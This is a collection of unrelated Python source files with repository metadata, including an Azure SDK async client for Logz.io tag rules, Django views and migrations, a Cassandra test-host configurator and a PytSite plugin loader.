[ "MIT", "LicenseRef-scancode-generic-cla", "LGPL-2.1-or-later" ]
permissive
adriananeci/azure-sdk-for-python
0d560308497616a563b6afecbb494a88535da4c5
b2bdfe659210998d6d479e73b133b6c51eb2c009
refs/heads/main
2023-08-18T11:12:21.271042
2021-09-10T18:48:44
2021-09-10T18:48:44
405,684,423
1
0
MIT
2021-09-12T15:51:51
2021-09-12T15:51:50
null
UTF-8
Python
false
false
15,827
py
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is regenerated. # -------------------------------------------------------------------------- from typing import Any, AsyncIterable, Callable, Dict, Generic, Optional, TypeVar import warnings from azure.core.async_paging import AsyncItemPaged, AsyncList from azure.core.exceptions import ClientAuthenticationError, HttpResponseError, ResourceExistsError, ResourceNotFoundError, map_error from azure.core.pipeline import PipelineResponse from azure.core.pipeline.transport import AsyncHttpResponse, HttpRequest from azure.mgmt.core.exceptions import ARMErrorFormat from ... import models as _models T = TypeVar('T') ClsType = Optional[Callable[[PipelineResponse[HttpRequest, AsyncHttpResponse], T, Dict[str, Any]], Any]] class TagRulesOperations: """TagRulesOperations async operations. You should not instantiate this class directly. Instead, you should create a Client instance that instantiates it for you and attaches it as an attribute. :ivar models: Alias to model classes used in this operation group. :type models: ~microsoft_logz.models :param client: Client for service requests. :param config: Configuration of service client. :param serializer: An object model serializer. :param deserializer: An object model deserializer. """ models = _models def __init__(self, client, config, serializer, deserializer) -> None: self._client = client self._serialize = serializer self._deserialize = deserializer self._config = config def list( self, resource_group_name: str, monitor_name: str, **kwargs: Any ) -> AsyncIterable["_models.MonitoringTagRulesListResponse"]: """List the tag rules for a given monitor resource. List the tag rules for a given monitor resource. :param resource_group_name: The name of the resource group. The name is case insensitive. :type resource_group_name: str :param monitor_name: Monitor resource name. :type monitor_name: str :keyword callable cls: A custom type or function that will be passed the direct response :return: An iterator like instance of either MonitoringTagRulesListResponse or the result of cls(response) :rtype: ~azure.core.async_paging.AsyncItemPaged[~microsoft_logz.models.MonitoringTagRulesListResponse] :raises: ~azure.core.exceptions.HttpResponseError """ cls = kwargs.pop('cls', None) # type: ClsType["_models.MonitoringTagRulesListResponse"] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2020-10-01" accept = "application/json" def prepare_request(next_link=None): # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') if not next_link: # Construct URL url = self.list.metadata['url'] # type: ignore path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str', min_length=1), 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str', max_length=90, min_length=1), 'monitorName': self._serialize.url("monitor_name", monitor_name, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') request = self._client.get(url, query_parameters, header_parameters) else: url = next_link query_parameters = {} # type: Dict[str, Any] request = self._client.get(url, query_parameters, header_parameters) return request async def extract_data(pipeline_response): deserialized = self._deserialize('MonitoringTagRulesListResponse', pipeline_response) list_of_elem = deserialized.value if cls: list_of_elem = cls(list_of_elem) return deserialized.next_link or None, AsyncList(list_of_elem) async def get_next(next_link=None): request = prepare_request(next_link) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: error = self._deserialize.failsafe_deserialize(_models.ErrorResponse, response) map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, model=error, error_format=ARMErrorFormat) return pipeline_response return AsyncItemPaged( get_next, extract_data ) list.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logz/monitors/{monitorName}/tagRules'} # type: ignore async def create_or_update( self, resource_group_name: str, monitor_name: str, rule_set_name: str, body: Optional["_models.MonitoringTagRules"] = None, **kwargs: Any ) -> "_models.MonitoringTagRules": """Create or update a tag rule set for a given monitor resource. Create or update a tag rule set for a given monitor resource. :param resource_group_name: The name of the resource group. The name is case insensitive. :type resource_group_name: str :param monitor_name: Monitor resource name. :type monitor_name: str :param rule_set_name: :type rule_set_name: str :param body: :type body: ~microsoft_logz.models.MonitoringTagRules :keyword callable cls: A custom type or function that will be passed the direct response :return: MonitoringTagRules, or the result of cls(response) :rtype: ~microsoft_logz.models.MonitoringTagRules :raises: ~azure.core.exceptions.HttpResponseError """ cls = kwargs.pop('cls', None) # type: ClsType["_models.MonitoringTagRules"] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2020-10-01" content_type = kwargs.pop("content_type", "application/json") accept = "application/json" # Construct URL url = self.create_or_update.metadata['url'] # type: ignore path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str', min_length=1), 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str', max_length=90, min_length=1), 'monitorName': self._serialize.url("monitor_name", monitor_name, 'str'), 'ruleSetName': self._serialize.url("rule_set_name", rule_set_name, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Content-Type'] = self._serialize.header("content_type", content_type, 'str') header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') body_content_kwargs = {} # type: Dict[str, Any] if body is not None: body_content = self._serialize.body(body, 'MonitoringTagRules') else: body_content = None body_content_kwargs['content'] = body_content request = self._client.put(url, query_parameters, header_parameters, **body_content_kwargs) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) error = self._deserialize.failsafe_deserialize(_models.ErrorResponse, response) raise HttpResponseError(response=response, model=error, error_format=ARMErrorFormat) deserialized = self._deserialize('MonitoringTagRules', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized create_or_update.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logz/monitors/{monitorName}/tagRules/{ruleSetName}'} # type: ignore async def get( self, resource_group_name: str, monitor_name: str, rule_set_name: str, **kwargs: Any ) -> "_models.MonitoringTagRules": """Get a tag rule set for a given monitor resource. Get a tag rule set for a given monitor resource. :param resource_group_name: The name of the resource group. The name is case insensitive. :type resource_group_name: str :param monitor_name: Monitor resource name. :type monitor_name: str :param rule_set_name: :type rule_set_name: str :keyword callable cls: A custom type or function that will be passed the direct response :return: MonitoringTagRules, or the result of cls(response) :rtype: ~microsoft_logz.models.MonitoringTagRules :raises: ~azure.core.exceptions.HttpResponseError """ cls = kwargs.pop('cls', None) # type: ClsType["_models.MonitoringTagRules"] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2020-10-01" accept = "application/json" # Construct URL url = self.get.metadata['url'] # type: ignore path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str', min_length=1), 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str', max_length=90, min_length=1), 'monitorName': self._serialize.url("monitor_name", monitor_name, 'str'), 'ruleSetName': self._serialize.url("rule_set_name", rule_set_name, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') request = self._client.get(url, query_parameters, header_parameters) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) error = self._deserialize.failsafe_deserialize(_models.ErrorResponse, response) raise HttpResponseError(response=response, model=error, error_format=ARMErrorFormat) deserialized = self._deserialize('MonitoringTagRules', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized get.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logz/monitors/{monitorName}/tagRules/{ruleSetName}'} # type: ignore async def delete( self, resource_group_name: str, monitor_name: str, rule_set_name: str, **kwargs: Any ) -> None: """Delete a tag rule set for a given monitor resource. Delete a tag rule set for a given monitor resource. :param resource_group_name: The name of the resource group. The name is case insensitive. :type resource_group_name: str :param monitor_name: Monitor resource name. :type monitor_name: str :param rule_set_name: :type rule_set_name: str :keyword callable cls: A custom type or function that will be passed the direct response :return: None, or the result of cls(response) :rtype: None :raises: ~azure.core.exceptions.HttpResponseError """ cls = kwargs.pop('cls', None) # type: ClsType[None] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2020-10-01" accept = "application/json" # Construct URL url = self.delete.metadata['url'] # type: ignore path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str', min_length=1), 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str', max_length=90, min_length=1), 'monitorName': self._serialize.url("monitor_name", monitor_name, 'str'), 'ruleSetName': self._serialize.url("rule_set_name", rule_set_name, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') request = self._client.delete(url, query_parameters, header_parameters) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200, 202, 204]: map_error(status_code=response.status_code, response=response, error_map=error_map) error = self._deserialize.failsafe_deserialize(_models.ErrorResponse, response) raise HttpResponseError(response=response, model=error, error_format=ARMErrorFormat) response_headers = {} if response.status_code == 202: response_headers['location']=self._deserialize('str', response.headers.get('location')) if cls: return cls(pipeline_response, None, response_headers) delete.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logz/monitors/{monitorName}/tagRules/{ruleSetName}'} # type: ignore
fd46cde2226a90b53793bb9f7121bb66dbeb6c8e
e3365bc8fa7da2753c248c2b8a5c5e16aef84d9f
/indices/nnwretch.py
fe95b845f09eef13e6cbc0d05e65b9e23f9a92cb
[]
no_license
psdh/WhatsintheVector
e8aabacc054a88b4cb25303548980af9a10c12a8
a24168d068d9c69dc7a0fd13f606c080ae82e2a6
refs/heads/master
2021-01-25T10:34:22.651619
2015-09-23T11:54:06
2015-09-23T11:54:06
42,749,205
2
3
null
2015-09-23T11:54:07
2015-09-18T22:06:38
Python
UTF-8
Python
false
false
2,136
py
ii = [('BentJDO2.py', 3), ('CookGHP3.py', 3), ('MarrFDI.py', 2), ('CoolWHM2.py', 8), ('KembFFF.py', 2), ('GodwWSL2.py', 48), ('ChanWS.py', 2), ('SadlMLP.py', 22), ('FerrSDO3.py', 19), ('WilbRLW.py', 8), ('WilbRLW4.py', 9), ('RennJIT.py', 1), ('AubePRP2.py', 3), ('CookGHP.py', 5), ('MartHSI2.py', 2), ('LeakWTI2.py', 3), ('KembFJ1.py', 16), ('WilkJMC3.py', 1), ('WilbRLW5.py', 2), ('PettTHE.py', 1), ('MarrFDI3.py', 1), ('PeckJNG.py', 3), ('KnowJMM.py', 3), ('BailJD2.py', 22), ('AubePRP.py', 1), ('ChalTPW2.py', 3), ('WilbRLW2.py', 6), ('ClarGE2.py', 4), ('GellWPT2.py', 1), ('CarlTFR.py', 18), ('LyttELD.py', 4), ('CoopJBT2.py', 6), ('TalfTAC.py', 7), ('GrimSLE.py', 1), ('RoscTTI3.py', 8), ('AinsWRR3.py', 7), ('CookGHP2.py', 3), ('KiddJAE.py', 5), ('AdamHMM.py', 1), ('BailJD1.py', 31), ('RoscTTI2.py', 4), ('CoolWHM.py', 7), ('MarrFDI2.py', 1), ('CrokTPS.py', 3), ('ClarGE.py', 13), ('IrviWVD.py', 7), ('GilmCRS.py', 3), ('DaltJMA.py', 4), ('DibdTRL2.py', 2), ('AinsWRR.py', 4), ('CrocDNL.py', 3), ('MedwTAI.py', 9), ('LandWPA2.py', 1), ('WadeJEB.py', 8), ('FerrSDO2.py', 16), ('TalfTIT.py', 6), ('GodwWLN.py', 12), ('SoutRD2.py', 2), ('LeakWTI4.py', 4), ('LeakWTI.py', 14), ('MedwTAI2.py', 13), ('SoutRD.py', 1), ('DickCSG.py', 2), ('WheeJPT.py', 1), ('HowiWRL2.py', 1), ('BailJD3.py', 19), ('HogaGMM.py', 12), ('MartHRW.py', 9), ('MackCNH.py', 19), ('FitzRNS4.py', 22), ('CoolWHM3.py', 7), ('DequTKM.py', 2), ('FitzRNS.py', 4), ('BentJRP.py', 7), ('EdgeMHT.py', 4), ('BowrJMM.py', 6), ('LyttELD3.py', 12), ('FerrSDO.py', 3), ('RoscTTI.py', 7), ('ThomGLG.py', 19), ('KembFJ2.py', 16), ('LewiMJW.py', 10), ('MackCNH2.py', 2), ('JacoWHI2.py', 2), ('HaliTBC.py', 1), ('WilbRLW3.py', 7), ('AinsWRR2.py', 7), ('JacoWHI.py', 2), ('ClarGE3.py', 8), ('RogeSIP.py', 8), ('MartHRW2.py', 5), ('DibdTRL.py', 8), ('FitzRNS2.py', 10), ('HogaGMM2.py', 3), ('MartHSI.py', 5), ('EvarJSP.py', 12), ('NortSTC.py', 8), ('SadlMLP2.py', 5), ('BowrJMM2.py', 7), ('BowrJMM3.py', 3), ('BeckWRE.py', 4), ('TaylIF.py', 12), ('WordWYR.py', 2), ('DibdTBR.py', 1), ('ChalTPW.py', 7), ('ThomWEC.py', 7), ('KeigTSS.py', 3), ('ClarGE4.py', 11), ('HowiWRL.py', 8)]
22181b9fe8464921c05932796d73ede088aef55e
e82102580a5bd76e97ed607da7180faf9928cf7b
/barati/customers/views_cluster/save_main_preferences.py
7d3a3cd1956fe2e4caf75ee317701323bfa60ada
[ "Apache-2.0" ]
permissive
aditi73/barati
393d02de0e292a0e5a73c988944486396cb0ece1
09e1a0a1342aa8e9cf1e97f073f4a6472c5af415
refs/heads/master
2021-01-12T10:42:44.322211
2016-06-11T12:02:10
2016-06-11T12:02:10
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,586
py
from django.shortcuts import render from django.template import RequestContext from django.views.generic import View from django.http import HttpResponse from customers import models as m import sys, json, datetime class Save_Main_Preferences(View): try: def __init__(self): #self.template_name = '' pass def get_context_data(self, **kwargs): context = {} return context def change_date_format_for_db(self, unformatted_date): formatted_date = None if unformatted_date: formatted_date = datetime.datetime.strptime(unformatted_date, '%d-%b-%Y').strftime('%Y-%m-%d') return formatted_date def post(self, request, **kwargs): user_id = m.Users.objects.get(username= request.user.username).id date = self.change_date_format_for_db(request.POST.get('main_preference_date')) location = request.POST.get('main_preference_location') sublocation = request.POST.get('main_preference_sublocation') main_preferences = m.Main_Preferences.objects.update_or_create( \ #Filter on the basis of the user_id user_id=user_id, \ #Create a new entry if new values or update if updated values defaults={'date':date, 'location':location, 'sublocation':sublocation}, \ ) message = "success_main_preferences_saved" return HttpResponse(json.dumps(message)) except Exception as general_exception: print general_exception print sys.exc_traceback.tb_lineno
3d663d37b03f7370f829e314ff592048da8baadc
2360cee220fa1d4df735e663c2324f6716800a4c
/allauth/facebook/migrations/0002_auto__add_facebookaccesstoken__add_unique_facebookaccesstoken_app_acco.py
b1a780d35611b2a2d0a1fcb44c5feb7d8c27a289
[ "MIT" ]
permissive
sachingupta006/django-allauth
709036a6a20f03fb7fb1d9ee555822526847e658
04a510f6b873cb3a54feca59cdd0c3e3ff9b9b5e
refs/heads/master
2021-01-17T22:11:38.164739
2012-06-09T16:58:47
2012-06-09T16:58:47
3,551,445
5
5
null
null
null
null
UTF-8
Python
false
false
7,146
py
# encoding: utf-8 import datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Adding model 'FacebookAccessToken' db.create_table('facebook_facebookaccesstoken', ( ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('app', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['facebook.FacebookApp'])), ('account', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['facebook.FacebookAccount'])), ('access_token', self.gf('django.db.models.fields.CharField')(max_length=200)), )) db.send_create_signal('facebook', ['FacebookAccessToken']) # Adding unique constraint on 'FacebookAccessToken', fields ['app', 'account'] db.create_unique('facebook_facebookaccesstoken', ['app_id', 'account_id']) def backwards(self, orm): # Removing unique constraint on 'FacebookAccessToken', fields ['app', 'account'] db.delete_unique('facebook_facebookaccesstoken', ['app_id', 'account_id']) # Deleting model 'FacebookAccessToken' db.delete_table('facebook_facebookaccesstoken') models = { 'auth.group': { 'Meta': {'object_name': 'Group'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}), 'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}) }, 'auth.permission': { 'Meta': {'ordering': "('content_type__app_label', 'content_type__model', 'codename')", 'unique_together': "(('content_type', 'codename'),)", 'object_name': 'Permission'}, 'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['contenttypes.ContentType']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}) }, 'auth.user': { 'Meta': {'object_name': 'User'}, 'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}), 'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}), 'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}), 'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'}) }, 'contenttypes.contenttype': { 'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"}, 'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}) }, 'facebook.facebookaccesstoken': { 'Meta': {'unique_together': "(('app', 'account'),)", 'object_name': 'FacebookAccessToken'}, 'access_token': ('django.db.models.fields.CharField', [], {'max_length': '200'}), 'account': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['facebook.FacebookAccount']"}), 'app': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['facebook.FacebookApp']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}) }, 'facebook.facebookaccount': { 'Meta': {'object_name': 'FacebookAccount', '_ormbases': ['socialaccount.SocialAccount']}, 'link': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'social_id': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '255'}), 'socialaccount_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['socialaccount.SocialAccount']", 'unique': 'True', 'primary_key': 'True'}) }, 'facebook.facebookapp': { 'Meta': {'object_name': 'FacebookApp'}, 'api_key': ('django.db.models.fields.CharField', [], {'max_length': '80'}), 'application_id': ('django.db.models.fields.CharField', [], {'max_length': '80'}), 'application_secret': ('django.db.models.fields.CharField', [], {'max_length': '80'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '40'}), 'site': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['sites.Site']"}) }, 'sites.site': { 'Meta': {'ordering': "('domain',)", 'object_name': 'Site', 'db_table': "'django_site'"}, 'domain': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}) }, 'socialaccount.socialaccount': { 'Meta': {'object_name': 'SocialAccount'}, 'date_joined': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'last_login': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']"}) } } complete_apps = ['facebook']
fbd3495eb1889511b26d78ebe8fb5d8f63fa8a5a
5e11cbf593a9793359e1ca4f8e4a18af38e32738
/backend/mobilech_dev_14269/wsgi.py
15db35e2d85f5f7d4d97682b4b31b7671c76cc1e
[]
no_license
crowdbotics-apps/mobilech-dev-14269
6c76edca03e7d48c428d081afc055a9cba358d04
50752c0b633d7077ced903c9caccd2aec2f04520
refs/heads/master
2023-01-01T15:59:38.895266
2020-10-30T17:51:48
2020-10-30T17:51:48
308,691,856
0
0
null
null
null
null
UTF-8
Python
false
false
413
py
""" WSGI config for mobilech_dev_14269 project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/2.2/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'mobilech_dev_14269.settings') application = get_wsgi_application()
da3ae45886b2907ae82b1cfa4a5950a21bdd6b21
2f98aa7e5bfc2fc5ef25e4d5cfa1d7802e3a7fae
/python/python_25090.py
f38847da08bed8417de659027272d8e0da3b17e8
[]
no_license
AK-1121/code_extraction
cc812b6832b112e3ffcc2bb7eb4237fd85c88c01
5297a4a3aab3bb37efa24a89636935da04a1f8b6
refs/heads/master
2020-05-23T08:04:11.789141
2015-10-22T19:19:40
2015-10-22T19:19:40
null
0
0
null
null
null
null
UTF-8
Python
false
false
54
py
# Django and postgres: Not connecting postgresql.conf
14e95b30fef502d2d37a1c6b893748e10fd62be7
c361a25acecd016677bbd0c6d9fc56de79cf03ed
/PTM/CassandraHost.py
ab3d48ce871b5a763384f888edaa60579991175f
[]
no_license
danielmellado/zephyr
f8931633045959e7e9a974de8b700a287a1ae94e
dc6f85b78b50e599504966154b927fe198d7402d
refs/heads/master
2021-01-12T22:31:24.479814
2015-10-14T05:39:04
2015-10-14T06:24:45
null
0
0
null
null
null
null
UTF-8
Python
false
false
6,469
py
__author__ = 'micucci' # Copyright 2015 Midokura SARL # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import time from NetNSHost import NetNSHost from common.Exceptions import * from common.FileLocation import * from PhysicalTopologyConfig import * from common.CLI import * from common.IP import IP from ConfigurationHandler import FileConfigurationHandler class CassandraHost(NetNSHost): def __init__(self, name, ptm): super(CassandraHost, self).__init__(name, ptm) self.cassandra_ips = [] self.num_id = '1' self.init_token = '' self.ip = IP() self.configurator = CassandraFileConfiguration() def do_extra_config_from_ptc_def(self, cfg, impl_cfg): """ Configure this host type from a PTC HostDef config and the implementation-specific configuration :type cfg: HostDef :type impl_cfg: ImplementationDef :return: """ if len(cfg.interfaces.values()) > 0 and len(cfg.interfaces.values()[0].ip_addresses) > 0: self.ip = cfg.interfaces.values()[0].ip_addresses[0] if 'init_token' in impl_cfg.kwargs: self.init_token = impl_cfg.kwargs['init_token'] if 'cassandra_ips' in impl_cfg.kwargs: for i in impl_cfg.kwargs['cassandra_ips']: self.cassandra_ips.append(IP(i)) if 'id' in impl_cfg.kwargs: self.num_id = impl_cfg.kwargs['id'] def prepare_config(self): self.configurator.configure(self.num_id, self.cassandra_ips, self.init_token, self.ip) log_dir = '/var/log/cassandra.' + self.num_id self.ptm.log_manager.add_external_log_file(FileLocation(log_dir + '/system.log'), self.num_id, '%Y-%m-%d %H:%M:%S,%f', 2) def print_config(self, indent=0): super(CassandraHost, self).print_config(indent) print (' ' * (indent + 1)) + 'Num-id: ' + self.num_id print (' ' * (indent + 1)) + 'Init-token: ' + self.init_token print (' ' * (indent + 1)) + 'Self-IP: ' + str(self.ip) print (' ' * (indent + 1)) + 'Cassandra-IPs: ' + ', '.join(str(ip) for ip in self.cassandra_ips) def do_extra_create_host_cfg_map_for_process_control(self): return {'num_id': self.num_id, 'ip': self.ip.to_map()} def do_extra_config_host_for_process_control(self, cfg_map): self.num_id = cfg_map['num_id'] self.ip = IP.from_map(cfg_map['ip']) def wait_for_process_start(self): # Wait a couple seconds for the process to start before polling nodetool time.sleep(2) # Checking Cassandra status retries = 0 max_retries = 10 connected = False while not connected: if self.cli.cmd('nodetool -h 127.0.0.1 status', return_status=True) == 0: connected = True else: retries += 1 if retries > max_retries: raise SocketException('Cassandra host ' + self.num_id + ' timed out while starting') time.sleep(2) def prepare_environment(self): self.configurator.mount_config(self.num_id) def cleanup_environment(self): self.configurator.unmount_config() def control_start(self): self.cli.cmd('/bin/bash -c "MAX_HEAP_SIZE=128M HEAP_NEWSIZE=64M /etc/init.d/cassandra start"') def control_stop(self): self.cli.cmd("/etc/init.d/cassandra stop") class CassandraFileConfiguration(FileConfigurationHandler): def __init__(self): super(CassandraFileConfiguration, self).__init__() def configure(self, num_id, cassandra_ips, init_token, self_ip): seed_str = ''.join([ip.ip + ',' for ip in cassandra_ips])[:-1] etc_dir = '/etc/cassandra.' + num_id var_lib_dir = '/var/lib/cassandra.' + num_id var_log_dir = '/var/log/cassandra.' + num_id var_run_dir = '/run/cassandra.' + num_id self.cli.rm(etc_dir) self.cli.copy_dir('/etc/cassandra', etc_dir) # Work around for https://issues.apache.org/jira/browse/CASSANDRA-5895 self.cli.regex_file(etc_dir + '/cassandra-env.sh', 's/-Xss[1-9][0-9]*k/-Xss228k/') self.cli.replace_text_in_file(etc_dir + '/cassandra-env.sh', '# JVM_OPTS="$JVM_OPTS -Djava.rmi.server.hostname=<public name>"', 'JVM_OPTS="$JVM_OPTS -Djava.rmi.server.hostname=' + self_ip.ip + '"') self.cli.regex_file_multi(etc_dir + '/cassandra.yaml', "s/^cluster_name:.*$/cluster_name: 'midonet'/", 's/^initial_token:.*$/initial_token: ' + init_token + '/', "/^seed_provider:/,/^$/ s/seeds:.*$/seeds: '" + seed_str + "'/", 's/^listen_address:.*$/listen_address: ' + self_ip.ip + '/', 's/^rpc_address:.*$/rpc_address: ' + self_ip.ip + '/') self.cli.rm(var_lib_dir) self.cli.mkdir(var_lib_dir) self.cli.chown(var_lib_dir, 'cassandra', 'cassandra') self.cli.rm(var_log_dir) self.cli.mkdir(var_log_dir) self.cli.chown(var_log_dir, 'cassandra', 'cassandra') self.cli.rm(var_run_dir) self.cli.mkdir(var_run_dir) self.cli.chown(var_run_dir, 'cassandra', 'cassandra') def mount_config(self, num_id): self.cli.mount('/run/cassandra.' + num_id, '/run/cassandra') self.cli.mount('/var/lib/cassandra.' + num_id, '/var/lib/cassandra') self.cli.mount('/var/log/cassandra.' + num_id, '/var/log/cassandra') self.cli.mount('/etc/cassandra.' + num_id, '/etc/cassandra') def unmount_config(self): self.cli.unmount('/run/cassandra') self.cli.unmount('/var/lib/cassandra') self.cli.unmount('/var/log/cassandra') self.cli.unmount('/etc/cassandra')
17057251ad5e6a6db3b8bbf55d6daf24d7be92ef
434ec954a1c481f17dbb41d82f814405c2bd1e6e
/__init__.py
9dcc5b7d4b2f8a9eb1377764f50e3d764a314fc5
[]
no_license
pytsite/plugin-comments_odm
83ae106529c68e995ff3f9414ffb8b76d64b9704
d07906d2c57ff0b750cb580c5f2c0e3867b04ac6
refs/heads/master
2022-02-11T21:56:59.371544
2019-08-06T00:31:59
2019-08-06T00:31:59
82,923,156
1
0
null
null
null
null
UTF-8
Python
false
false
530
py
"""PytSite ODM Comments Plugin """ __author__ = 'Oleksandr Shepetko' __email__ = '[email protected]' __license__ = 'MIT' from . import _widget as widget def plugin_load(): """Hook """ from pytsite import events from plugins import comments, odm from . import _model, _driver, _eh # Register ODM model odm.register_model('comment', _model.ODMComment) # Register comments driver comments.register_driver(_driver.ODM()) events.listen('comments@report_comment', _eh.comments_report_comment)
a419f17e8f448960359d04f1206ecd8b48fac4f7
